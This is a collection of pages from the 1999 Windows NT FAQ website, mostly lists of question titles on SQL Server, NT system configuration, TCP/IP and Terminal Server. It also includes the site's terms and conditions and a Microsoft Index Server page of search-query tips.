  • Can I add comments to SQL Server's schema like I can with Access?
  • How can I pass an array of values to a SQL Server stored-procedure?
  • How does SQL Server clear up orphaned connections?
  • How do I configure the debugger in Visual Studio to work with SQL 7?
  • How can I connect from Delphi to SQL 7?
  • Why does my copy of SQL Server say it is the 120 day eval edition when it is the full commercial copy?
  • Why do I get a "variable is not declared" inside my EXEC statement?
  • What is the equivalent of the IIF command in SQL Server?
  • What does the red zig-zag line next to a server name in SQL Enterprise Manager mean?
  • Why do I get the error 'An unknown full-text failure (80004005)'?
  • Why does the tcp-ip net-lib not appear as an option in SQL Setup?
  • How much longer will MS support SQL 6.5 for?
  • How can I tell whether a table is a system (Microsoft) table in SQL 7?
  • Where can I get 7.0 SP1?
  • Why do I get "SQL Server has run out of locks" error message with SQL 7 - I thought it dynamically allocated them?
  • How do I configure the client query time-out for SQL Server?
  • How can I migrate from Access to SQL Server?
  • What does "bufdiscard: WARNING, page xx (dbid n, bp 0xzzzzzzzz) has stat0x10080(), skipping" mean?
  • Can I replicate/connect/whatever to SQL Server over the Internet?
  • How can I get ISQL.EXE to return a DOS errorlevel for me to test?
  • What programming languages can I write an extended stored-procedure in?
  • Does SQL Server 7.0 support XML?
  • Where can I get details on the layout of the TDS protocol that SQL Server uses to talk to clients?
  • Why can't I use a GO in a stored-procedure?
  • Can SQL Server backup to a tape unit on another server?
  • How can I restore a single table in SQL 7?
  • How can I calculate someone's age in SQL Server?
  • Where can I get the ANSI92 SQL information from.
  • Why do I get arithmetic overflows and 'string truncated' errors with SQL 7? I didn't with 6.5.
  • Why do I get an "UNEXPECTED EOF" message in BCP?
  • Should I use char or varchar? What are the advantages?
  • How can I clear SQL Server's procedure cache?
  • What registry entries does SQL Server's client use?
  • Why do I get NULL when adding/concatenating a NULL value with SQL 7? I didn't with 6.5.
  • How can I remove unwanted carriage-returns and line-feeds from a SQL table?
  • Is there a DATE function for SQL Server? I don't want to hold the time.
  • How can I run a DTS package from within SQL Server - e.g. a stored-procedure?
  • Are there any examples of heterogeneous data queries from SQL 7 to other sources?
  • Why am I getting a message 'The Enterprise Edition server component cannot be installed on Windows NT Server using this CD.' installing SQL 7?
  • Can I load a SQL 6.5 dump or device file into SQL 7?
  • How do I know which version of MDAC I am running?
  • Does SQL Server have memory leaks? How can I tell?
  • Can I install SQL 7 and MSDE on the same machine?
  • I am trying to upgrade MSDE to full SQL Server and getting an error 'You cannot install a version which is older (7.00.623) than the version on your machine (7.00.677). Un-install the older version.'
  • Can I create SQL Server databases on network drives?
  • Should I apply NT 4.0 SP5 to my SQL Server system?
  • I can't see the SQL performance counters in PerfMon. What could be wrong?
  • How do I connect to SQL Server from PERL?
  • Where does SQL server store the permissions on tables?
  • Why can't I use RCMD.EXE via xp_cmdshell from SQL Server?
  • I have a corrupt log file - can I rebuild it?
  • How can I recover data from a SQL table that is corrupt with a bad page/pointer?
  • How can I clear a table and reset the identity back to 0?
  • Why would I get a message "Retrying row fetch:rowoffset entry n out of range (pg% obj%, db %)" from SQL Server?
  • How can I restrict the number of rows returned to my query in SQL Server?
  • Why can't I shrink my database any smaller than xxx Mb?
  • What does sp_sdidebug do?
  • Should I upgrade to SQL 7.0? What are the known bugs?
  • What happened to the gui for column level permissions in SQL 7?
  • Under SQL 6.5 a user of ISQL/W or other tools could only see the databases they had permission to in the drop down boxes, not under 7.0, why?
  • Why does my ODBC v2 application not work with SQL 7? Why do I get a gpf in VBDB300.DLL?
  • Should I apply SP1 for SQL 7? Are there any known issues?
  • Why do I get an error in sqlsspi.c?
  • What is the equivalent of an Oracle synonym in SQL Server?
  • Does SQL Server support tape-loaders?
  • Does SQL Server support before and after (pre and post) triggers? What about row vs set triggers?
  • Where can I get examples of XP code for SQL Server?
  • I can run some SQL code or a DTS package myself fine, but when I run it using the SQL Scheduler it doesn't work - why not?
  • How can e-mail with SQL Server without using an MS-Mail or Exchange server?
  • How can I transfer DTS packages from one SQL 7 server to another?
  • As a user of Digital/Compaq Alpha technology how does MS dropping support affect SQL Server?
  • How can I check with SQL whether a table is already there or not?
  • What does a wait type of CXPacket mean?
  • Why do I get an error - 'DTS Wizard Error - CoCreateInstance Class not Registered'?
  • How can I insert the output of a dbcc command into a SQL Server table?
  • Why do I get weird messages using SQL 7's MMC on Windows 2000 RC1?
  • What does a wait type of CXPacket or Exchange mean?
  • When would I use dbcc gaminit in SQL Server?
  • I've overallocated memory for SQL Server and now it won't start - what can I do?
  • I have filled the model database's log and now SQL won't start with a 1105 error - what can I do?
  • I'm installing SQL Server and am getting a problem with ODBC
  • Why do I only get 255 characters back in a column in Query Analyzer?
  • How can I find duplicate rows in SQL Server?
  • How can I get a count for all tables in a database?
  • Why do I get an error "CANNOT GENERATE SSPI CONTEXT"?
  • How can I see what line a stored-procedure is on?
  • How can I list all available SQL Servers in my application?
  • How can I access Exchange stores from SQL Server?
  • Why does ISQL/W gpf when I move the mouse pointer with an Intellimouse.
  • How can I tell if a service is running from SQL?
  • What's happened to SQL_PRESERVE_CURSORS in SQL 7.0?
  • Why does only one cpu get used with my SQL 6.5 system for an extremely complex/long running query?
  • How can I get on a beta program for new versions of SQL/OLAP/MSEQ etc?
  • How can I do a case-sensitive comparison on a SQL Server installed with a case-insensitive sort-order?
  • How can I configure SQL Server to listen on another net-lib? How can I tell what net-libs are being used?
  • Why do I get an error message "Not enough server storage is available to process this request"?
  • Why won't my log shrink in SQL 7?
  • How can I use Lotus Notes for SQL Mail?
  • Why do I get invalid rows returned containing hyphens when my where clause doesn't specify them?
  • Why is the week number returned by SQL Server wrong?
  • How can I get something added to the SQL Server wishlist?
  • In SQL 6.5 why does passing a 256 byte character string to an SP expecting a TEXT field produce a NULL when checked?
  • How can I clear SQL Server's procedure cache?
  • How can I turn an IP address held as a string to the four separate integers?
  • How can I re-install just the MMC for SQL Server?
  • I need to move SQL Server to a new NT server - what are my options?
  • I'm getting an error message - "Cannot Load DLL 'SDI' Reason 126 ( The specified Module Cannot be found)" when doing a stored-procedure debug on SQL Server. Or breakpoints just don't fire.
  • Where can I get more info on the spt_values table?
  • Where can I get a diagram of the SQL 7 system tables?
  • SQL Server hangs and becomes unresponsive - what can I do?
  • I'm having trouble with SQL Server unattended install, what could be wrong?
  • How can I change the default location for database files that SQL creates?
  • How can I tell if a column for a table already exists?
  • How can I programmatically create a DSN?
  • What is the dllhost.exe process on my machine that seems to use a lot of CPU?
  • What is the maximum number of rows in a SQL table? What other size limitations are there?
  • Are SQL Server userid's and passwords passed in clear on the network?
  • When I change a table definition it often invalidates any views on that table. How can I fix this without re-creating the view?
  • How can I script my database schema?
  • How does a client talk to SQL Server? What is a net-lib? What network protocols are used? What net-libs support NT authentication/encryption?
  • I am getting a "cfgchar" problem installing SQL Server 6.5 SP5?
  • How can I tell if a stored procedure was created with the ANSI NULLS setting on?
  • Does SQL Server have an 'ON ERROR RESUME' type function in TSQL to match the VB facility?
  • Why do I get the error 'Cannot use file <logfile> because it was originally formatted with sector size <xxx> and is now on a device with sector size <yyy>' when I move SQL Server's log file?
  • What is the maximum number of rows in a SQL table? What other size limitations are there?
  • What does the red lightning bolt next to a server in SQL EM mean?
  • Why can't I backup/restore my SQL Server database to JAZ/ZIP drive from SQL EM?
  • How can I compare that the contents of two tables are identical?
  • How can I decrypt a SQL Server stored-procedure?
  • How do I drop the index related to a primary key? DROP INDEX doesn't work..
  • How can I get the current time in GMT rather than local time?
  • What do MS mean by Internal vs External fragmentation in SQL Server?
  • How do I know whether SQL Server is in per-seat or per-server mode? How can I change it? How can I add licenses?
  • How can I list all databases on an SQL Server?
  • How can I list all user tables on an SQL Server?
  • How can I resolve the error 'An error 1069 - (The service did not start due to a logon failure)' for SQL Server?
  • SQL Server only runs under NT. What cheap/free database runs under Linux?
  • Why could the SQL version switch utility not work?
  • How can I read/write to a flat file from inside a SQL Server TSQL script/stored-procedure/trigger?
  • Why am I getting gpf's/hangs running SQL tools under Windows 9x - I don't get the same problems with Windows NT clients?
  • What can I do about handling blocking and deadlocks in SQL Server?
  • How can I install SQL 7.0 Desktop Edition from the Back Office 4.5 CD's?
  • Why am I getting an error "The RAID set for database <xxx> is missing member number <x>. Backup or restore operation terminating abnormally"?
  • Does SQL Server Enterprise Edition perform better than Standard edition?
  • I am getting an error where only 10 users can connect. I have more licenses than this - what is going on?
  • I can't see the SQL performance counters on the second node in my cluster? I can see the NT ones ones.
  • When might I want to use a surrogate key?
  • How can I run some SQL code every time SQL Server starts?
  • Why am I being blocked by spid -1? I am not able to kill it and have to restart SQL Server to get around it.
  • Why does the new 'TOP' command in SQL 7 not work? I get a syntax error. Also ALTER TABLE and other SQL 7 only commands.
  • Where can I get SP2 beta for SQL 7.0?
  • How can I make sure the SQL Server agent auto-starts when I start SQL Server?
  • What conferences covering SQL Server are coming up?
  • I'm having trouble installing SQL Server on Win9x
  • How can I select random rows from a SQL Server table?
  • Can I do a SQL Server backup to a tape drive on another server?
  • Why do I get an error "Msg 602, Level 21, State 3. Could not find row in Sysindexes for dbid 'x', object 'yyyyyyyy',index 'z'." when running a SQL Server query?
  • I am getting an error 603 restoring a database ever since I applied SP5 to SQL 6.5?
  • What issues are there with SQL 7's DTS function and Oracle.
  • What is the Microsoft Loopback adapter and why do I need it for SQL Server?
  • Where can I get an OLE-DB/ODBC/JDBC driver to connect SQL Server to product xyz?
  • I have a SQL Server process that shows as being in SPINLOOP. What does this mean?
  • Now that SQL 7.0 is released can I still buy SQL 6.5?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Support

Support

  • What Newsgroups are good for NT information?
  • Where can I get more information?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - System Configuration

System Configuration

  • How do I decrease the boot delay?
  • Where do I load ANSI.SYS?
  • How can I configure the local machine to perform a task at a set time?
  • How do I change the Organization name on NT?
  • How do I change the default location NT expects to find NT software for installation (i.e. CD)
  • How can I remove the Shut Down button from the login screen?
  • How can I Parse/Not Parse autoexec.bat?
  • How do I add a path statement in NT?
  • Can I change the default Windows Background?
  • How do I change the Start menu items under the line?
  • How can I restore the old Program Manager?
  • Is there a way to start NT in "Dos" mode?
  • How can I disable "Lock Workstation" when I press Ctrl-Alt-Del?
  • How can I make NT powerdown on shutdown?
  • How do I enable Ctrl-Esc to start Task Manager?
  • How can I allow non-Administrators to issue AT commands?
  • How do I control Access to Floppy Drives/CD-ROM drives?
  • I have DOS, Windows95 and NT installed, and want them all to show on the boot menu.
  • How do I remove an App from Control Panel?
  • How do I assign a drive letter to a removable drive?
  • How do I configure a default Screen Saver if no one logs on?
  • How do I configure the default screen saver to be the Open GL Text Saver?
  • How can I create a new hardware profile?
  • I have entries on the Remove software list that don't work, how can I remove them?
  • How can I disable Dr. Watson?
  • How do I create a network share?
  • How do I connect to a network share?
  • How do I configure the boot menu to show forever?
  • How can I configure the machine to reboot at a certain time?
  • How can I configure Explorer to start with drive x: ?
  • How can I decrease the time my machine takes to shutdown/reboot?
  • How can I change the startup order of the services?
  • How can I configure the system so that certain commands run at boot up time?
  • What are the .cpl files in the system32 directory?
  • How can I create a non-network hardware configuration?
  • How can I remove the option "Press Spacebar for last known good config"?
  • How can I disable the OS2/POSIX subsystems?
  • How can I run a control panel applet from the command line?
  • How can I configure a program/batch file to run every x minutes?
  • What registry keys do the Control Panel applets update?
  • How can I run a script at shutdown time?
  • How can I create my own tips to be shown when NT starts?
  • How can I change the location of the event logs?
  • How can I configure the default Internet Browser?
  • How can I change the alert for low disk space on a partition?
  • Is it possible to delete/rename the Administrator account?
  • How can I tell NT how much secondary cache (L2) is installed?
  • What switches can be used in boot.ini?
  • How can I change the default editor used for editing batch files?
  • What are the default protections on an NTFS boot partition?
  • How do I configure the default keyboard layout during login?
  • How can I add my own information to General tab of the System Control Panel applet?
  • How can I change the program associated with a file extension?
  • How do I set a process to use a certain processor?
  • I have duplicate entries on my boot menu.
  • How can I stop a service from the command line?
  • How can I add the printer panel to the Start menu?
  • How can I hide the Administrative Tools on the Start menu?
  • How do I restrict access to the floppy drive?
  • How do I enable AutoLogon?
  • How do I disable AutoLogon?
  • How do I add a warning Logon message?
  • How do I stop the last logon name being displayed?
  • How can I stop people logging on to the server?
  • Users fail to logon at a server.
  • How do I enable NumLock automatically?
  • How do I limit the number of simultaneous logons?
  • %SystemRoot% is not expanded when I use it in a command.
  • How can I disable the Win key?
  • How do I set the number of Cached logons a machine stores?
  • How can I configure the system to run a program at logon time?
  • How can I install the Policy Editor on a Workstation?
  • How can I delete the "My Computer" icon?
  • How do I disable the file delete confirmation?
  • How can I switch the time between 24 hour and 12 hour?
  • How can I suppress boot Error Messages?
  • How can I enable/disable the Ctrl-Alt-Del to enter logon information? - Windows 2000 only
  • How can I stop the last username to logon from being displayed?
  • The screen saver can only be configured to start up to 60 minutes.
  • I have lost the ADMIN$ share.
  • How can I configure Notepad to wrap?
  • How do I modify the login timer for profiles?
  • How do I change the location for temporary files?
  • How do I modify system variables?
  • How do I disable the ability to change password?
  • How do I stop a process on a remote machine?
  • How do I install the Security Configuration Editor?
  • How can I get the cool UI effects to work on my P166 computer? - Windows 2000 only
  • How do I increase the number of Page Table Entries on my system?
  • How can I change the short date format from yy to yyyy?
  • How do I enable fast reboot on 4.0 SP3 and above?
  • How can I create a program alias?
  • How can I share my clipbook with other machines?
  • How can I stop tips showing on startup?
  • How can I configure Outlook Express to be the default News reader?
  • How can I modify the My Computer text to show logged on username and machine name?
  • How do I enable live scrolling on Word 97?
  • A useful tip for navigating in Explorer and the Registry Editor.
  • How can I automatically kill hung processes when I logoff?
  • How can I change the Info Tip for icons? - Windows 2000 only
  • How can I control who can eject ZIP disks? - Windows 2000
  • How can I configure monitor power off for the logon screen? - Windows 2000
  • What are the problems with workstations having the same SID?
  • How can I disable daylight saving time changes?
  • How can I improve I/O performance?
  • How can I configure the Windows 2000 System File Checker?
  • How to I install an Enterprise Certificate Authority?
  • How do I create a Certificate Trust List for the domain?
  • How can I lock a workstation from the command line?
  • How do I create a default association for files with no extension?
  • How do I create a default association for files with an unknown extension?
  • How do I set DLL files to use their own icon rather than the standard?
  • How can I make Explorer show the extension of known file types?
  • What are Super Hidden Files?
  • How can I view Super Hidden Files?
  • After upgrading from NT 4.0 to Windows 2000 the timeout in boot.ini has been reset to 30.
  • How can I force a check of protected system files in Windows 2000?
  • How can I disable the DLL cache in Windows 2000?
  • I can't add or remove Accessories on a Windows 2000 professional machine.
  • How can I remove a device driver?
  • How do I remove the resource kit time service?
  • How can I configure event log wrapping in Windows 2000?
  • What are offline folders?
  • How do I set a folder as available/not available offline?
  • How do I configure a shared folder as automatically available offline?
  • How do I enable my computer to support offline folders/files?
  • How can I configure the time service in Windows 2000?
  • How can I configure Administrative Alerts in Windows 2000?
  • How can I tell if my Windows 2000 installation is registered?
  • How do I enable TAPI 2.1 support?
  • Configuring Dual fault tolerant mirrored drives.
  • What order are environment variables processed during logon?
  • How can I change the display order for the hardware profile list at startup?
  • How can I change the screen tip for a shortcut?
  • How can I enable network lockout for the Administrator account?
  • How can I remotely reboot, logout, shutdown a machine?
  • Where is the 'ODBC Data Sources' control panel applet in Windows 2000?
  • How do I view/create saved Directory Service, DNS and File Replication Service event logs?
  • How can I change the icon for drive letters?
  • How can I stop the Infotips being displayed for icons and drives?
  • How can I enable the Windows 2000 System File Checker to cache ALL DLL's?
  • How can I move the DLL cache?
  • How can I disable the Start menu program scroll?
  • How can I restrict network browsing to users local workgroup/domain?
  • How can I hide ALL desktop icons?
  • How can I stop users browsing computers in their local workgroup/domain?
  • How do I upgrade my Windows 2000 installation to 128-bit encryption?
  • How can a user request a certificate via the web?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - System Information

System Information

  • How can I tell the role of my NT machine?
  • How can I tell who has which files open on a machine?
  • How do I view all the applications/processes on the system?
  • Where can I get information about my machine?
  • How can I tell when NT was last started?
  • I have lost my NT Installation Key number, how can I find it out?
  • How can I get detailed system information from the command prompt?
  • How can I tell when NT was installed?
  • How can I tell if my NT installation is a 120 day evaluation or full?
  • How can I check what type of NT installation I have?
  • How can I tell if my NT installation is a "Not For Resale" installation?
  • Where is time zone information stored in NT/2000?
  • How can I tell which process has file X open?
  • How can I tell which DLL's and API calls a program makes?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - System Policies

System Policy

  • How do System Policies work?
  • How do I modify a Policy?
  • How do I create my own Policy template?
  • Where can I get information on Profiles and Policies?
  • How can I control the Policy updates?
  • How can I implement locally based system policies?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - TCP/IP

TCP/IP

  • What is TCP/IP
  • How do I install TCP/IP
  • Is there a way to trace TCP/IP traffic using NT?
  • I do not have a network card, but would like to install TCP/IP.
  • I have installed TCP/IP, what steps should I use to verify the setup is correct?
  • How can I trace the route the TCP/IP packets take?
  • What is the subnet mask?
  • What diagnostic utilities are there for TCP/IP?
  • What is routing and how is it configured?
  • What is ARP?
  • My Network is not connected to the Internet, can I use any IP address?
  • How can I increase the time entries are kept in the ARP cache?
  • What other registry entries are there for TCP/IP?
  • How can I configure more than 6 IP addresses?
  • What are the common TCP ports?
  • How can I perform a migration to DHCP?
  • How do I assign multiple IP addresses to a single NIC?
  • How do I install the Network Monitor Utility?
  • How do I perform a network trace using NetMon?
  • Nothing shows up on my NETMON trace, why?
  • What is the NETMON agent?
  • How do I install the Network Monitor agent?
  • How do I monitor traffic for an agent?
  • How do I filter captured packets?
  • What is IPv6?
  • How will IPv6 addresses be written?
  • What is the IPv6 header format?
  • I am unable to install TCP/IP, why?
  • What switches can be used with PING?
  • How can I modify TCP retransmission timeout?
  • How can I disable media-sense for TCP/IP? - Windows 2000 only
  • How can I check who owns subnet x?
  • How can I disable APIPA?
  • What is quality of service (QOS)?
  • How do I install QOS support in Windows 2000?
  • How do I configure QOS in Windows 2000?
  • How can I change the account used for the QOS service?
  • Is IP version 6 available for NT/Windows 2000/95/98?
  • What is IPSec?
  • How do I enable IPSec on a machine?
  • How do I define IPSec policy for a group policy object?
  • How do I enable IPSec traffic through a firewall?
  • How can I troubleshoot IPSec?
  • How can I manage/create IP Security policies?
  • How can I change the authentication method used for IPSec by a policy?
  • How can I install a certificate for use by IPSec?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT Frequently Asked Questions (FAQ)

Privacy Policy / Terms & Conditions

NTFAQ.com (the "Website") is an online information, communication, advertising and sales service provided by SavillTech, London, United Kingdom. Your access and use of the Website is subject to your compliance with the terms and conditions set forth below, including all exhibits hereto. Please examine this document carefully before accessing or using the Website. By accessing or using the Website, you agree to be legally bound by the terms and conditions set forth below. You may not access or use the Website should you not want to be bound by these terms and conditions. This Agreement may be modified at any time, and any such modification shall be effective immediately upon posting of the modified agreement. By your access and use of the Website you agree to regularly review this Agreement and shall be conclusively bound by any such future modifications.

A) Copyright, Licenses and Idea Submissions. The entire contents of the Website are copyrighted under United Kingdom copyright laws. SAVILLTECH LTD is the exclusive owner of the copyright. You may print portions of the materials solely for your non-commercial, private use. Any other copying, redistribution, publication or retransmission of any portion of Website material, is strictly prohibited without the express written permission of SAVILLTECH LTD. You agree not to change or delete any proprietary notices from any materials downloaded from the Website. You further agree to grant to SAVILLTECH LTD a non-exclusive, royalty-free, worldwide, perpetual license, with the right to sublicense, to reproduce, transmit,
distribute, create any derivative works of, publicly use or display any materials or other information (including, but not limited to, ideas, concepts or techniques for new or improved services and products) you publish to the Website by any means or by any media now known or hereafter developed. You further agree that any such communication you make to the Website (whether information, feedback, data, questions, comments, suggestions or the like) shall be deemed not to be confidential. By your acceptance of these Terms and Conditions you also grant to SAVILLTECH LTD the right to use your name in connection with the submitted materials and other information as well as in connection with any and all advertising, marketing and promotional material related thereto. You further agree and acknowledge that you shall have no recourse against SAVILLTECH LTD for any alleged or actual infringement or misappropriation of any proprietary right in your publications or communications to us.

B) Policies of Operation. Pursuant to your access and use of the Website you hereby agree to fully comply with the Policies of Operation set forth in Exhibit 1 herein. Said Policies are the rules that govern your use of, and your activity in connection with the Website. SAVILLTECH LTD has the right to amend Exhibit 1 from time to time as it deems appropriate. SAVILLTECH LTD has the further right to prohibit or remove any materials or communications, which SAVILLTECH LTD believes in its sole discretion to be in violation of the Policies of Operation.

C) Disclaimer. You understand that SAVILLTECH LTD cannot and does not guarantee or warrant that files or software of any kind, or from any source, available for downloading through the Website, will be free of infection or viruses, worms, Trojan Horses or other code or defects that manifest contaminating or destructive properties. You are responsible for implementing sufficient procedures and checkpoints to satisfy your particular requirements for accuracy of data input and output, and for maintaining a means external to the Website for the reconstruction of lost data. YOU ASSUME TOTAL RESPONSIBILITY AND RISK FOR YOUR USE OF THE WEBSITE AND ANY SERVICES CONTAINED THERIN. THIS WEBSITE IS PROVIDED ON AN " AS IS " BASIS WITHOUT WARRANTIES OF ANY KIND EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT OR TITLE. NET COMMUNITIES LIMITED ASSUMES NO RESPONSIBILITY FOR ERRORS OR OMISSIONS IN THIS WEBSITE OR ANY OTHER WEBSITE WHICH MAY BE REFERENCED OR LINKED TO THIS WEBSITE. REFERENCES TO TRADESHOWS, CORPORATIONS, THEIR SERVICES OR PRODUCTS ARE PROVIDED "AS IS " WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESSED OR IMPLIED. IN NO EVENT SHALL NET COMMUNITIES LIMITED BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER, INCLUDING, WITHOUT LIMITATION, THOSE RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, OR UNDER ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE, COMMUNICATION OR TRANSMISSION OF THIS INFORMATION. THE INFORMATION INCLUDED IN THIS WEBSITE COULD INCLUDE TECHNICAL OR OTHER INACCURACIES OR TYPOGRAPHICAL ERRORS. AMENDMENTS ARE PERIODICALLY MADE TO THE INFORMATION CONTAINED HEREIN; THESE AMENDMENTS WILL BE INCORPORATED INTO THE WEBSITE. NET COMMUNITIES LIMITED MAY MAKE IMPROVEMENTS AND/OR SAID AMENDMENTS TO THE WEBSITE AT ANY TIME. ANY AND ALL PORTIONS OF THIS DISCLAIMER SHALL AUTOMATICALLY APPLY TO ALL IMPROVEMENTS AND/OR AMENDMENTS AS THEY APPEAR ON THE WEBSITE. IT IS SOLELY YOUR RESPONSIBILITY TO EVALUATE THE ACCURACY, COMPLETENESS AND USEFULLNESS OF ALL OPINIONS, ADVICE, SERVICES, MERCHANDISE AND OTHER INFORMATION PROVIDED THROUGH THE WEBSITE. NET COMMUNITIES LIMITED DOES NOT WARRANT THAT THE WEBSITE WILL BE UNINTERRUPTED OR ERROR FREE OR THAT DEFECTS IN THE WEBSITE WILL BE CORRECTED.

If you are dissatisfied with the Website or with any terms, conditions, rules, policies, guidelines or practices of SAVILLTECH LTD in operating the Website your sole remedy is to discontinue using the Website.

D) Links to Third Party Sites. The links in the Website will allow other sites to be accessed. These linked sites are not under the control of SAVILLTECH LTD, and SAVILLTECH LTD is not responsible for the contents of any linked site. SAVILLTECH LTD provides links only as a convenience, and such inclusion of any link does not imply endorsement by SAVILLTECH LTD of the site.

EXHIBIT 1

Policies of Operation

The additional legal terms and conditions stated below, as well as the legal terms and conditions above, apply to forums, discussion groups, chat groups, bulletin boards and any other interactive area of the Website. Use of, access to, or participation in any of these or any other interactive areas of the Website constitutes acceptance of these legal terms and conditions. Your participation in on-line communications occurs in real time and is not edited, censored, or otherwise controlled by SAVILLTECH LTD. SAVILLTECH LTD cannot and does not screen all content provided by users of the Website. Notwithstanding the foregoing, SAVILLTECH LTD reserves the right to monitor content on the Website and to remove content which SAVILLTECH LTD in its sole discretion, determines to be harmful, offensive, or otherwise in violation of these policies of operation. In order to maintain an informative and valuable service that meets the needs of the users of the Website and avoids the harm that can result from the dissemination of statements that are false, malicious, violate of the rights of others, or otherwise harmful, it is necessary to establish the following rules to protect against abuse:

While using the Website you may not:

(I) post or transmit any message anonymously or under a false name;
(II) post or transmit any unlawful, threatening, abusive, libelous, defamatory, obscene, pornographic, profane or otherwise objectionable information of any kind, including without limitation any transmission constituting or encouraging conduct that would constitute a criminal offense, give rise to civil liability, or otherwise violate any local, state, national or international law. It is not SAVILLTECH LTDs intent to discourage you from taking controversial positions or expressing vigorously what may be unpopular views or opinions; SAVILLTECH LTD does, however, reserve the right to take such action as it deems appropriate in instances where the Website is used to disseminate statements which are deeply and widely offensive and/or harmful in nature;
(III) post or transmit any message which discloses private or personal matters concerning any person;
(IV) post or transmit any information, file or software that contains a virus, cancelbolt, worm, Trojan Horse or any other contaminating or destructive features;
(V) post or transmit any message, data, image or program that would violate the property rights of others, including unauthorized copyrighted text, images or programs, trade secrets or other confidential proprietary information, and trademarks or service marks used in an infringing fashion;
(VI) interfere, in any way, with other users of the Website;
(VII) post or transmit charity requests, petitions for signatures, chain letters or letters relating to pyramid schemes.
(VIII) post , list or transmit articles, which are off topic according to the description of the group affected.

NT FAQ works with a third party that serves ads to this site. To find out more about how Flycast manages the privacy of information in conjunction with serving ads on this site, please go to http://www.flycast.com/about_us/about-privacy.html.

For information on contacting SavillTech see http://www.ntfaq.com/contact.html

Last Update 9 February 1999


Windows NT FAQ - Windows NT/2000 Terminal Server and Citrix MetaFrame

Windows NT/2000 Terminal Server and Citrix MetaFrame

  • What is Terminal Server?
  • How do I install Windows NT 4.0 Terminal Server Edition?
  • How do I enable Terminal Server under Windows 2000?
  • How do I install Windows NT/95 based Terminal Server clients?
  • How do I install Windows for Workgroup based Terminal Server clients?
  • How do I connect to a Terminal Server from 9x/NT/2000?
  • How do I close a Terminal Server connection?
  • How do I install applications for use with Terminal Server?
  • I can't install Office 97 SR2 on Terminal Server.
  • How do I install Citrix Metaframe?
  • How do I create Citrix Metaframe client media?
  • How do I install the ICA DOS client?
  • How do install Backup Exec 7.X on TSE?
  • Can I use normal Service Packs on Windows NT Terminal Server Edition?
  • Can I use normal Hot fixes on Windows NT Terminal Server Edition?
  • I've reached 40 - 45 users and additional users can't log onto Terminal Server?
  • How do I configure a CE based Terminal Server client?
  • I am having troubles getting the ICA DOS client to work.
  • Where can I download updates for MetaFrame?
  • What Service Packs are available for Windows NT Terminal Server Edition?
  • How do I send a message to a Terminal Server client?
  • How do I locate machines that are running Terminal Server?
  • How can I check if a user is logged on via Terminal Server?
  • Mouse movement is jerky in Terminal Server sessions.
  • Does MetaFrame run on Windows 2000?
  • How can I switch a session between window and full screen?
  • How can I remote control another terminal server session in Windows 2000?
  • What user environment extensions does the Windows 2000 terminal server component add?
  • How do I install Active Desktop on Terminal Server?
  • How do I enable client computers to logon to a Terminal Server?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Microsoft Index Server: Installing Microsoft Index Server

Tips for Searching

At its simplest, a query can be just a word or a phrase. But with the tips on this page, you can expand the focus of your query to give you more complete results. These tips will get you started with basic query language and acquaint you with the full power of Microsoft Index Server.

  • Look for words with the same prefix. For example, in your query form type key* to find key, keying, keyhole, keyboard, and so on.

  • Search for all forms of a word. For example, in the form type sink** to find sink, sinking, sank, and sunk.

  • Search with the keyword NEAR, rather than AND, for words close to each other. For example, both of these queries, system and manager and system near manager, look for the words system and manager on the same page. But with NEAR, the returned pages are ranked in order of proximity: The closer together the words are, the higher the rank of that page.

  • Refine your queries with the AND NOT keywords to exclude certain text from your search. For example, if you want to find all instances of surfing but not the Net, write the following query:

    surfing AND NOT the Net

  • Add the OR keyword to find all instances of either one word or another, for example:

    Abbott OR Costello

    This query finds all pages that mention Abbott or Costello or both.

  • Put quotation marks around keywords if you want Index Server to take them literally. For instance, if you type the following query:

    "system near manager"

    Index Server will literally look for the complete phrase system near manager. But if you type the same query without the quotation marks:

    system near manager

    Index Server searches all documents for the words system and manager.

  • Use Free Text Queries if you want to enter queries using natural language. Index Server will examine your query, extract nouns and noun phrases and construct a query for you. With free text queries you can enter any text you want, from a proper question, to a string of words and phrases, without worrying about the query language. For example, if you type in the following query:

    "How do I use the Index Server administration snap-in?"

    Index Server will create a query for you automatically and begin the search. Note that when you're using free text queries, the regular query language features are disabled and keywords such as AND, OR, and NEAR are interpreted as normal words.

© 1997 by Microsoft Corporation. All rights reserved.


Windows NT FAQ - Training

Training

  • Where can I go for Training in Microsoft Products?
  • Where can I get more information about becoming a MCSE?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - User Configuration

User Configuration

  • How do I create a captive account?
  • Where should Login Scripts go?
  • What should be in the Login Script?
  • Are there any utilities that help with login scripts?
  • Is there a way of performing operations depending on a users group membership?
  • How do I limit the disk space for a User?
  • What variables are available for use with a User?
  • Can I add user accounts from a database?
  • Is there a utility that shows who is currently logged on?
  • How can I change environment variables from the command line?
  • How can I hide drive x from users?
  • How do I make the shell start before the logon script finishes?
  • How can I find out which groups a user is in?
  • I can no longer see items in the common groups from the Start Menu.
